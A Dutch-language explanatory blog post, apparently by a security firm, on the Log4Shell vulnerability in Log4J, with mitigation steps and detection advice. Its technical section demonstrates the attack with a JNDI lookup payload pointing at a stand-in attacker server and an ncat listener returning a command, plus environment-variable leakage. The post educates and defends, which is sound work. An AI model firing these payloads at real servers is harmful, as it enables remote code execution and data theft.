Op 9 December 2021 werd een kwetsbaarheid in Log4J publiek gemaakt op Twitter. De kwetsbaarheid was twee weken eerder reeds ontdekt door het Cloud Security Team van Alibaba. Het gaat over de grootste en meest kritische kwetsbaarheid van dit decennium. Maar wat houdt het in en is uw netwerk vatbaar voor aanvallen? We leggen het even kort uit.
Log4Shell (CVE-2021-44228) is een Remote Code Execution (RCE) kwetsbaarheid in Log4J, een populaire Java codebibliotheek die het mogelijk maakt om gebeurtenissen in software weg te schrijven naar een logbestand. Door middel van een speciale request naar de server van een applicatie die gebruik maakt van Log4J kan er code uitgevoerd worden op de server van diezelfde applicatie. Dit wil concreet zeggen dat een aanvaller volledige toegang kan krijgen tot het besturingssysteem van de server, zonder enige vorm van authenticatie.
De kwetsbaarheid bevindt zich in een specifieke klasse van Log4J namelijk JndiLookup.class. JNDI staat voor Java Naming and Directory Interface en zorgt ervoor dat Java-objecten kunnen opgezocht worden tijdens runtime. Zo wordt bijvoorbeeld Text: ${java:version} omgezet naar Text: Java version 1.7.0_67.
De reden waarom deze klasse kwetsbaar is, is omdat deze klasse de input van de gebruiker niet goed opvangt. Wanneer een applicatie gebruikt maakt van Log4J is het mogelijk voor een aanvaller om een stuk code in het JNDI-formaat (of syntax) te versturen naar de server. Wat echter geen gewenste uitkomst is van deze handeling is dat deze code ook uitgevoerd wordt. Dit noemt het NIST (National Institute for Standards and Technology) een improper input validation.
DISCLAIMER: Dit hoofdstuk is ontzettend technisch, indien je dit leest als non-techneut, scroll dan gerust naar het volgende hoofdstuk.
We maken even gebruik van een simpel stuk Java-code om de kwetsbaarheid beter te begrijpen.
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class HelloWorld {
static Logger logger = LogManager.getLogger(HelloWorld.class);
public static void main(String... args) {
System.out.println("Hello World!");
logger.error(args[0]);
}
}
Het eerste argument van dit stuk code is de tekst die zal worden gelogd door Log4J. Wanneer we de code uitvoeren krijgen we het volgende resultaat:
C:\Users\pablo> java Log4J.java "Hello!"
Hello World!
21:46:35.135 [main] ERROR HelloWorld - Hello!
De kwetsbaarheid bevindt zich in de JndiLookup klasse, maar wat doet die eigenlijk? De Log4J website zegt het volgende:
“Lookups” provide a way to add values to the Log4j configuration at arbitrary places.
Dit wil zeggen dat de gebruiker die de data die je probeert te loggen mag kiezen hoe en welke data er gelogd mag worden en hoe die eruit moet zien. Lookups worden getriggerd door middel van de syntax ${....}
C:\Users\pablo> java Log4J.java "${java:version}!"
Hello World!
21:57:42.712 [main] ERROR HelloWorld - Java version 17.0.1!
Uiteindelijk is het enige teken dat bleef staan het uitroepteken, terwijl de rest van de data vervangen werd door de versie van Java die gebruikt werd om de code uit te voeren. Op deze manier kan een gebruiker nog een stap verder gaan en bepaalde omgevingsvariabelen op het scherm krijgen.
C:\Users\pablo> java Log4J.java "${env:USERNAME}!"
Hello World!
22:03:12.877 [main] ERROR HelloWorld - pablo!
Dit is al een nachtmerrie wanneer het aankomt op datalekken. Een aanvaller kan op deze manier heel wat informatie te weten komen over je systeem en je applicatie, maar helaas stopt het niet daar. Dankzij JNDI kunnen er ook lookups gebeuren op andere servers, zolang de toepassing verbinding heeft met de server in kwestie. Bij wijze van test kunnen we ncat gebruiken van Nmap om onze server te maken.
Bij wijze van demonstratie stellen we dat onze aanval-server het interne IP adres 192.168.1.100 heeft en kwetsbare Java server heeft 192.168.1.99. Beide bevinden ze zich in hetzelfde netwerk. Om verwarring te voorkomen heb ik de gebruikersnaam van de aanvaller aangepast naar “hacker”.
C:\Users\hacker> ncat -k -vv -c "echo %USERNAME% 1>&2" -l 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
In dit voorbeeld luisteren we naar connecties op poort 1234 ( -l 1234 ) en sturen we een commando (de aanval) door als antwoord dat de variabele %USERNAME% naar het scherm weergeeft met -c "echo %USERNAME% 1>&2". Wanneer we de Java-code gaan uitvoeren met onze speciale JNDI Lookup zien we hetvolgende:
C:\Users\pablo> java Log4J.java ${jndi:ldap://192.168.1.100:1234/a}
Hello World!
22:32:49.053 [main] ERROR HelloWorld - ${jndi:ldap://192.168.1.100:1234/a}
Aan de kant van de aanvaller zien we dit:
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:51342.
NCAT DEBUG: Executing: C:\Windows\system32\cmd.exe /C echo %USERNAME% 1>&2
hacker
Daar gebeurde dus iets wat nooit had mogen gebeuren. De Java applicatie maakte verbinding met onze malafide server. Onze aanval-server antwoordde met zijn eigen gebruikersnaam, die dan op zijn beurt weer uitgelezen werd door de Java applicatie. Dit is een vrij onschuldig voorbeeld, maar het kan door een hacker gebruikt worden voor allerhande doeleinden. Zo kan de Java server verbinding maken met de server van een hacker, die dan een stuk Java-malware terugstuurt voor uitvoering.
PS: Heb je dit hoofdstuk met gemak begrepen? Check dan ook zeker eens onze jobs, we hebben je er graag bij!
Niet alles wat in Java geschreven is wordt nu als kwetsbaar beschouwd. Ook is het zeker niet zo dat overal waar Log4J gebruikt wordt er de kans bestaat dat een hacker deze kwetsbaarheid kan misbruiken. Toch is het aangeraden om elke Log4J versie met deze kwetsbaarheid te gaan patchen of updaten.
Log4J is te vinden in heel wat applicaties, ook applicaties die niet 100% in Java geschreven zijn. Wanneer de applicatie niet open staat naar de buitenwereld is het risico echter kleiner. Ook Log4J versies 1.X zijn standaard niet kwetsbaar omdat deze de JndiLookup klasse niet hebben. Ze bevatten wel een gelijkaardige bug genaamd CVE-2021-4104, maar deze steunt op een specifieke configuratie en is dus minder kritiek.
Het opsporen van Log4J kan soms iets moeilijker zijn dan verwacht. De codebibliotheek kan namelijk ook verpakt zitten in een groter stuk software, waardoor het scannen iets moeilijker wordt. Gelukkig staat de cybersecurity community niet stil en bestaan er ondertussen al enkele handige tools. Hier een paar op een rijtje:
Hulp nodig bij het detecteren van Log4Shell? Contacteer ons, we helpen je graag bij het opsporen van dit lek!
Dan is het nu tijd om de rode draad door te knippen… Wat kun je doen?
Wanneer dit mogelijk is, is de beste optie nog steeds om Log4J up te daten naar de nieuwste versie. Log4Shell werd opgelost in versie 2.17.0, alles wat hoger is, is automatisch veilig voor deze kwetsbaarheid.
Dan kun je ervoor kiezen om de klasse te verwijderen. Een .jar bestand is eigenlijk een .zip met een bepaalde structuur. De kwetsbare log4j-core-*.jar kan dus gepatched worden door hem te openen met een programma zoals 7Zip en de JndiLookup.class te verwijderen. De locatie van de klasse is: META-INF/org/apache/logging/log4j/core/lookup/
Op Mac & Linux systemen kan deze code uitgevoerd worden om een .jar te patchen:
zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Je kan er ook voor kiezen om de JNDI functionaliteit uit te schakelen. Dit kan dan weer met dit commando:
java -Dlog4j2.formatMsgNoLookups=true
Log4Shell is een nachtmerrie voor heel wat bedrijven. Heel wat Fortune 500 bedrijven waren kwetsbaar door deze ongetwijfeld grootste en meest kritische kwetsbaarheid van het decennium. Gelukkig bestaan er al heel wat tools om Log4Shell voorgoed van uw netwerk te verbannen.
Hulp nodig bij het opsporen of patchen van Log4Shell? Contacteer ons en wij zorgen terug voor een veilig gevoel.